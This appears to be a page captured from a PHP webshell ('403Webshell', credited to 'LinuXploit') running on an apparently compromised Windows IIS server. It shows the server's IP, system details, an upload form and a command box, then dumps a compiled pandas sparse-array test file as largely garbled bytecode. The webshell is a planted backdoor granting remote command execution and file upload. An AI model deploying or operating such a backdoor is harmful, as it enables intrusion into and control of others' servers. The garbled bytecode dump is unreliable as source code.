403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python312/Lib/site-packages/pandas/tests/arrays/sparse/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python312/Lib/site-packages/pandas/tests/arrays/sparse/__pycache__/test_array.cpython-312.pyc
�

.	�g�A���ddlZddlZddlZddlmZddlZddlmZm	Z	ddl
mZddl
mZejd��Zejd��Zejd��ZGd�d	�ZGd
�d�Zd�Zd
�Zej.j1dgd�ddfgd�ddfgd�ddfgd�ddfgd�ddfgddfgd�ddfgd�ddfgd�ddfgd�ddfgd�ddfgd�ddfg�d��Zej.j1dddej4ej4gdej4dej4gddej4gej4dddej4dgej4dddddgg�ej.j1dej4ddg�d���Zd�Zd �Zd!�Zej.j1dej4dg�d"��Zd#�Z d$�Z!y)%�N)�IntIndex)�SparseDtype�isna��SparseArrayc��tjtjtjdddtjddtjdg
�S)z<Fixture returning numpy array with valid and missing entries������)�np�array�nan���GC:\Python312\Lib\site-packages\pandas/tests/arrays/sparse/test_array.py�arr_datars8���8�8�R�V�V�R�V�V�Q��1�b�f�f�a��B�F�F�A�F�G�Grc��t|�S)z-Fixture returning SparseArray from 'arr_data'r)rs r�arrrs���x� � rc� �tgd�d��S)zEFixture returning SparseArray with integer entries and 'fill_value=0')
rrr	r
rrrr
rrr��
fill_valuerrrr�zarrrs���5�!�D�Drc
�8�eZdZejjdddejg�d��Zd�Z	ejjdgd�ejdd	g�dg�d
��Zd�Zd�Z
ejjd
gd�ddfgddfdgddfddejdgdefg�d��Zejjdejejejejejgdejejdejgdejdddgg�ejjdddg�d���Zejjdddg�d��Zd�Zd�Zd�Zd �Zd!�Zy)"�TestSparseArrayrrNc	�&�ttjgd��d��}|jd|��}t	|�r|j
j}ttj|ddddg�d��}tj||�y)N)r	rrrrg @rr	rr)	rrr�shiftr�dtype�na_value�tm�assert_sp_array_equal)�selfr�sparse�res�exps     r�test_shift_fill_valuez%TestSparseArray.test_shift_fill_value$sr���R�X�X�o�6�3�G���l�l�1��l�4���
�����+�+�J��"�(�(�J��1�a��#;�<��M��
� � ��c�*rc�<�tdtjdgtj��}d|_|jdk(sJ�tgd�dtj��}d|_|jdk(sJ�d}tjt|�	�5d
|_ddd�|jd
k(sJ�tj|_tj|j�sJ�tgd�dtj��}d
|_|jd
usJ�tjt|�	�5d|_ddd�tj|_tj|j�sJ�y#1swY��xYw#1swY�LxYw)N��?g@rr
)r	rr
r�rr zAAllowing arbitrary scalar fill_value in SparseDtype is deprecated��matchg������@�TFTFT)
rrrr�int64r"�assert_produces_warning�
FutureWarning�isnan�bool_)r$r�msgs   r�test_set_fill_valuez#TestSparseArray.test_set_fill_value.s@���3�����,����@������~�~��"�"�"��)�����B������~�~��"�"�"�Q��
�
'�
'�
�S�
A�	!� �C�N�	!��~�~��$�$�$�������x�x����'�'�'��-�%�r�x�x�P������~�~��%�%�%�
�
'�
'�
�S�
A�	��C�N�	�������x�x����'�'�'�	!�	!��	�	�s�F�?F�F�F�val�r	r
rr	r
c��tgd�dtj��}d}tjt
|��5||_ddd�y#1swYyxYw)Nr.Fr+zfill_value must be a scalarr,)rrr3�pytest�raises�
ValueErrorr)r$r6rr4s    r� test_set_fill_invalid_non_scalarz0TestSparseArray.test_set_fill_invalid_non_scalarIsD���-�%�r�x�x�P��+��
�]�]�:�S�
1�	!� �C�N�	!�	!�	!�s�A
�
Ac��|j�}|j|jusJ�|j|jusJ�y�N)�copy�	sp_values�sp_index)r$r�arr2s   r�	test_copyzTestSparseArray.test_copyQs9���x�x�z���~�~�S�]�]�2�2�2��}�}����,�,�,rc�L�tj|j�|�yr>)r"�assert_almost_equal�to_dense)r$rrs   r�test_values_asarrayz#TestSparseArray.test_values_asarrayVs��
���s�|�|�~�x�8rzdata,shape,dtype)rrrrr)r
)r)r	�A�B)rc�@�t||��}|j|k(sJ�y)N�r )r�shape)r$�datarLr �outs     r�
test_shapezTestSparseArray.test_shapeYs"���$�e�,���y�y�E�!�!�!r�valsrc��tj|�}t||��}|j�}t	j
||�y�Nr)rrrrFr"�assert_numpy_array_equal)r$rPrrr&s     r�test_dense_reprzTestSparseArray.test_dense_reprgs8���x�x��~���$�:�6���l�l�n��
�#�#�C��.r�fixrrc�|�|j|�}tj|�}tj||�yr>)�getfixturevaluer"�round_trip_pickler#)r$rU�request�obj�	unpickleds     r�test_picklezTestSparseArray.test_picklews2���%�%�c�*���(�(��-�	�
� � ��C�0rc��tgd��}tjd�5|D]}�	ddd�y#1swYyxYw)Nr7)rr"r0)r$�sp_arr�_s   r�test_generator_warningsz'TestSparseArray.test_generator_warnings}sA���Y�'��
�
'�
'��
-�	��
���
�	�	�	�s�5�>c�~�ttjdgd��}tjddg�}|j	|d�}tddgd��}tj||�tj|�}|j|d�}tj|tj|��y)Nr*rrTFr	)rrrr�_wherer"r#�pd�Series�where�assert_series_equal)r$r�maskr&r'�sers      r�test_where_retain_fill_valuez,TestSparseArray.test_where_retain_fill_value�s����2�6�6�3�-�A�6���x�x��u�
�&���j�j�$���"���1�c�(�q�1��
� � ��c�*��i�i��n���i�i���q�!��
���s�B�I�I�c�N�3rc�|	�tdtjtjdtjg�}|jd�}tgd�dtj��}tj||�tdtjtjdtjgd��}|jd�}tgd�dtj��}tj||�tdtjdddg�}|jd�}tgd�dtj��}tj||�tdtjdddgd��}|jd�}tgd�dtj��}tj||�ttjtjtjtjg�}|jd�}tgd	�dtj��}tj||�ttjtjtjtjgd��}|jd�}tgd	�dtj��}tj||�tgd
��}|jd�}tgd
�d��}tj||�tgd��}|jttj�k(sJ�|jdk(sJ�|jd�}tj||�tgd�d��}|jttj�k(sJ�|jdk(sJ�|jd�}tgd�d��}tj||�tgd�tj��}|jttjtj��k(sJ�tj|j�sJ�|jd�}tgd�d��}tj||�y)Nr	r���)r	rkrkrrkr+rr)r	rkrrr)rkrkrkrk)�rlrlrl)rrrr)rrr�fillna�float64r"r#r rr/rr2�r$�sr&r's    r�test_fillnazTestSparseArray.test_fillna�sC����B�F�F�B�F�F�A�r�v�v�6�7���h�h�r�l���,��2�:�:�N��
� � ��c�*���B�F�F�B�F�F�A�r�v�v�6�1�E���h�h�r�l���,��"�*�*�M��
� � ��c�*���B�F�F�A�q�!�,�-���h�h�r�l���*�r����L��
� � ��c�*���B�F�F�A�q�!�,��;���h�h�r�l���*�q��
�
�K��
� � ��c�*��������������8�9���h�h�r�l���*�r����L��
� � ��c�*��������������8�Q�G���h�h�r�l���*�q��
�
�K��
� � ��c�*�
�,�-���h�h�r�l���.�2�>��
� � ��c�*�
��%���w�w�+�b�h�h�/�/�/�/��|�|�q� � � ��h�h�r�l��
� � ��a�(����3���w�w�+�b�h�h�/�/�/�/��|�|�q� � � ��h�h�r�l���,�1�5��
� � ��c�*�
�����8���w�w�+�b�h�h�2�6�6�B�B�B�B��x�x����%�%�%��h�h�r�l���,�2�6��
� � ��c�*rc�2�tdtjtjdtjg�}|jd�}tjgd�tj
��}t
j|j�|�tdtjtjdtjgd��}|jd�}tgd�dtj
��}t
j||�y)Nr	r)r	rrrrrKrrr+)
rrrrmrrnr"rSrFr#ros    r�test_fillna_overlapz#TestSparseArray.test_fillna_overlap�s�����B�F�F�B�F�F�A�r�v�v�6�7���h�h�q�k���h�h��b�j�j�9��
�#�#�C�L�L�N�C�8���B�F�F�B�F�F�A�r�v�v�6�1�E���h�h�q�k���/�a�r�z�z�J��
� � ��c�*rc�^�ttd�td�ddddddddddg�}tjgd�tj��}|j�\}t
j||�tgd��}|j�\}t
j||�y)	Nrr	rr
r)r
r
�	rK)rrr	rrr
rrrrrr)r�floatrr�int32�nonzeror"rS)r$�sa�expected�results    r�test_nonzerozTestSparseArray.test_nonzero�s���
�%��,��e��a��A�q�!�Q��1�a�QR�S�
T���8�8�I�R�X�X�6���J�J�L�	��
�#�#�H�f�5�
�=�
>���J�J�L�	��
�#�#�H�f�5r)�__name__�
__module__�__qualname__r9�mark�parametrizerrr(r5rr<rCrG�objectrOrTr\r`rirqrsr|rrrrr#s����[�[���\�A�t�R�V�V�+<�=�+�>�+�(�6�[�[���U�Y�����!�Q��0@�)�$L�M�!�N�!�-�
9��[�[����
�d�D�)�
��t���S�$����3�����
$�d�F�3�		
��"��"�
�[�[����
�V�V�R�V�V�R�V�V�R�V�V�R�V�V�4�
��������2�6�6�*�
�����1�a� �	
���[�[���\�D�!�9�5�/�6��/��[�[���U�U�F�O�4�1�5�1�
�4�:+�x+�	6rrc��eZdZejjdejgd�e��e	ejgd���fejddejddge��e	ejd	d
ejddg��fg�ejjd
ddg�d���Zd�Zd�Z
ejjddejg�d��Zd�Zd�Zd�Zd�Zd�Zy)�TestSparseArrayAnalyticsz
data,expected)r	r
rrr
rK)r*�@g@g$@g.@r	r
rr
r*r�g@g(@�numpyTFc�r�|rtjnd�}|t|��}tj||�|t|tj
���}tj||�|t|d���}tj||�|r�d}t
jt|��5tjt|�tj��ddd�d}t
jt|��5tjt|�|��ddd�yd	}tjd
|�d��}t
jt|��5t|�j|��ddd�y#1swY��xYw#1swYyxYw#1swYyxYw)
Nc�"�|j�Sr>)�cumsum)rps r�<lambda>z6TestSparseArrayAnalytics.test_cumsum.<locals>.<lambda>�s��1�8�8�:�rrr
z&the 'dtype' parameter is not supportedr,rKz$the 'out' parameter is not supported)rNr	zaxis(=z) out of bounds)�axis)rr�rr"r#rr9r:r;r/�re�escape)r$rMrzr�r�rNr4r�s        r�test_cumsumz$TestSparseArrayAnalytics.test_cumsum�sW��$����)=���[��&�'��
� � ��h�/��[��"�&�&�9�:��
� � ��h�/��[��!�4�5��
� � ��h�/��:�C����z��5�
=��	�	�+�d�+�2�8�8�<�
=�9�C����z��5�
6��	�	�+�d�+��5�
6�
6��D��)�)�f�T�F�/�:�;�C����z��5�
4��D�!�(�(�d�(�3�
4�
4�
=�
=��
6�
6��

4�
4�s$�</F�!F!�0F-�F�!F*�-F6c	���tdtjdtjdg�}tdtjdtjdg�}tjt|�|�tjtj
|�|�tgd�d��}tgd�|jd��}tjt|�|�tjtj
|�|�tgd�d��}tgd	�d��}tjt|�|�tjtj
|�|�tdtjdtjdg�}ttjdtjdtjdg��}tjtj|�|�tgd�d��}ttjgd��tjd���}tjtj|�|�tgd
�d��}ttjgd
��tjd���}tjtj|�|�y)Nr	r
����r	rkr
r�r)r	r
r
)�sparse_indexrrk)r	r	r
r
�r	rkrr�r)rrrr"r#�absrA�sin)r$r%r{r's    r�
test_ufuncz#TestSparseArrayAnalytics.test_ufuncs����a�����B�F�F�B�7�8���a�����B�F�F�A�6�7��
� � ��V��f�5�
� � �������8��^��:���Y�V�_�_�QR�S��
� � ��V��f�5�
� � �������8��^��;���,�1�5��
� � ��V��c�2�
� � �������5��a�����B�F�F�B�7�8���R�V�V�Q�����2�6�6�2�$>�?�@��
� � �������8��^��:���R�V�V�N�3����q�	�J��
� � �������8��^��:���R�V�V�N�3����q�	�J��
� � �������8rc�(�tdtjdtjdg�}tdtjdtjdg�}tjtj
|d�|�tgd�d��}tgd�d��}tjtj
|d�|�tgd	�d
��}tgd�d��}tjtj
|d�|�y)Nr	r
r�rrkr�r)r
rrrkr�r)r
rr	rk)rrrr"r#�add)r$r%r{s   r�test_ufunc_argsz(TestSparseArrayAnalytics.test_ufunc_args,s����a�����B�F�F�B�7�8���a�����B�F�F�B�7�8��
� � ������!2�F�;��^��:���]�q�9��
� � ������!2�F�;��^��:���]�q�9��
� � ������!2�F�;rrrlc�:�t|gdzddgz|��}tj|�\}}tjtj|��\}}t	j
|t||���t	j
|t||���y)N�
g�������?g������@r)rr�modf�asarrayr"r#)r$rr%�r1�r2�e1�e2s       r�	test_modfz"TestSparseArrayAnalytics.test_modf:sz���j�\�B�.�#�s��;�
�S���������B�������F�+�,���B�
� � ��[��
�%K�L�
� � ��[��
�%K�Lrc�H�tgd�d��}|j}|dk(sJ�y)N)r	rrrr
�integer��kind��r�nbytes�r$rr{s   r�test_nbytes_integerz,TestSparseArrayAnalytics.test_nbytes_integerCs#���/�	�:��������|��|rc�H�tgd�d��}|j}|dk(sJ�y)N)r	r
rrr�blockr�r�r�r�s   r�test_nbytes_blockz*TestSparseArrayAnalytics.test_nbytes_blockIs%���/��8��������|��|rc�n�ttjgd���}tj|�y)N)�2012NN�2013)rrc�to_datetimerr�)r$rps  r�test_asarray_datetime64z0TestSparseArrayAnalytics.test_asarray_datetime64Ps!������'C�D�E��
�
�
�1�
rc�@�tddg�}|jdk(sJ�y)Nrr	g�?)r�density�r$rs  r�test_densityz%TestSparseArrayAnalytics.test_densityTs"���1�a�&�!���{�{�c�!�!�!rc�@�tddg�}|jdk(sJ�y)Nrr	)r�npointsr�s  r�test_npointsz%TestSparseArrayAnalytics.test_npointsXs"���1�a�&�!���{�{�a���rN)r}r~rr9r�r�rrrvrrr�r�r�r�r�r�r�r�r�rrrr�r��s���[�[����������6��H�B�H�H�%@�A�B�
�
����!�Q�����1�-�U�;��H�B�H�H�c�3�����T�%B�C�D�
�		
���[�[���W�t�U�m�4�4�5��4�49�:<��[�[���\�C����=�9�M�:�M����"� rr�c��tdtjdgd��}tj|_|j	�}tj
|�}tjgd��}tj||�y)Nr*rlr)FTF)	rrrrrr�rr"rS�rr{rzs   r�*test_setting_fill_value_fillna_still_worksr�]s`���s�B�F�F�C�(�S�
9�C��V�V�C�N�
�X�X�Z�F��Z�Z��
�F��x�x�,�-�H������1rc�V�tdtjgd��}tj|_tjtj
tjg�t
ddg�tttj���}tj||�y)Nrlrrr
r	)�sparse_arrayr�r )rrrr�_simple_newrrrrvr"r#)rrzs  r�test_setting_fill_value_updatesr�ksq��
�s�B�F�F�m��
2�C��V�V�C�N��&�&��X�X�r�v�v�h�'��a�!��%��%����(��H�
���S�(�+rzarr,fill_value,loc)Nr	r
)rNr
r	)rr	Nr
)rr	r	NNr)r	r	r	r
rk)Nr	rrNr
r
)Nrrr	r
r	c�H�t||��j�}||k(sJ�yrR)r�_first_fill_value_loc)rr�locr{s    r�test_first_fill_value_locr�xs%��$���
4�
J�
J�
L�F��S�=��=rrrc��t||��j�}tj|�j�}t	|t�sJ�tj|�}tj||�yrR)	r�uniquercrd�
isinstancerr�r"rS)rr�a�bs    r�test_unique_na_fillr��s\��	�C�J�/�6�6�8�A�
�	�	�#�����A��a��%�%�%�
�
�
�1�
�A�����1�%rc��tddg�}|j�}tdg�}tj||�y)Nr)rr�r"r#r�s   r�test_unique_all_sparser��s7��
�q�!�f�
�C�
�Z�Z�\�F��A�3��H����V�X�.rc��tgd��}tgd�d��}|jdddd��}tj||�|jt	j
dddd���}tj||�|jt	j
dddd���}tgd�d��}tj||�y)N�rr	r
)r���r�rr�r�)r�mapr"r#rcrd�rrzr{s   r�test_mapr��s���
�i�
 �C��<�B�7�H��W�W���r�*�
+�F����V�X�.��W�W�R�Y�Y�2�"��4�5�
6�F����V�X�.��W�W�R�Y�Y�2�"��4�5�
6�F��<�B�7�H����V�X�.rc��tgd��}tgd�d��}|jddd��}tj||�y)Nr�)r�r�Nr�rr�)rr	)rr�r"r#r�s   r�test_map_missingr��s:��
�i�
 �C��>�b�9�H�
�W�W���^�
$�F����V�X�.rc�|�ttjdg|��}tdg|��}tj|j�|�t
jddg|d��}t
jdg|d�t
jdg���}tj|j�|�y)Nr	rr*r)r�r���index)
rrrr"r#�dropnarc�	DataFrame�Index�assert_equal)rrr'�df�expected_dfs     r�test_dropnar��s����r�v�v�q�k�j�
9�C�
�s�e�
�
3�C����S�Z�Z�\�3�/�	���Q��F��-�	.�B��,�,�a�S�s�3�2�8�8�Q�C�=�I�K��O�O�B�I�I�K��-rc
�<�tjtjd��j	d��}|j�}tjt
d�D�cic]}|tdgd����c}�}tj||�ycc}w)N)r
r
c��t|d��S)Nrrr)�xs rr�z1test_drop_duplicates_fill_value.<locals>.<lambda>�s���A�RS�8T�rr
rlrr)
rcr�r�zeros�apply�drop_duplicates�rangerr"�assert_frame_equal)r�r{�irzs    r�test_drop_duplicates_fill_valuer��su��	���b�h�h�v�&�	'�	-�	-�.T�	U�B�
�
�
�
!�F��|�|�%�PQ�(�S�Q�Q��S�E�a� @�@�S�T�H����&�(�+��Ts�%Bc��tjtgd��gd�d��}tjtgd��gd�d��}|j|ddk7}|j|ddk7}t	j
||�tjtddg�dd	gd�ddg�
�}t	j
||�y)N)rrrr7)rHrI)rr	rrIr
rr	rr�)rcr�rr�r"r�)�df1�df2r{rzs    r�test_zero_sparse_columnr��s���
�,�,�[��3�)�D�
E�C�
�,�,�[��3�)�D�
E�C�
�W�W�S��X��]�
#�F��w�w�s�3�x�1�}�%�H����&�(�+��|�|�+�q�!�f�"5�Q��F�C�A�q�6�R�H����&�(�+r)"r�r�rr9�pandas._libs.sparser�pandasrcrr�pandas._testing�_testingr"�pandas.core.arrays.sparser�fixturerrrrr�r�r�r�r�r�rr�r�r�r�r�r�r�rrr�<module>r�s*��	��
�(����1����H��H�
���!��!�
���E��E�
@6�@6�Ft �t �n2�
,�������	�t�Q��	�t�Q��	�t�Q��	��a�(�	�t�R� �	�T�2��	!�4��+�	!�1�a�(�	!�1�a�(�	!�1�b�)�	��1�%�	��1�%�
��"�#�"�
�����	�	
�A�r�v�v�r�v�v��	
�B�F�F�A�r�v�v��	
�A�r�v�v��	����A�q�"�&�&�!�$�	����A�q�!�Q���	�����������1�~�6�&�7�	�&�/�/�$/�����������{�3�.�4�.�,�	,r

Youez - 2016 - github.com/yon3zu
LinuXploit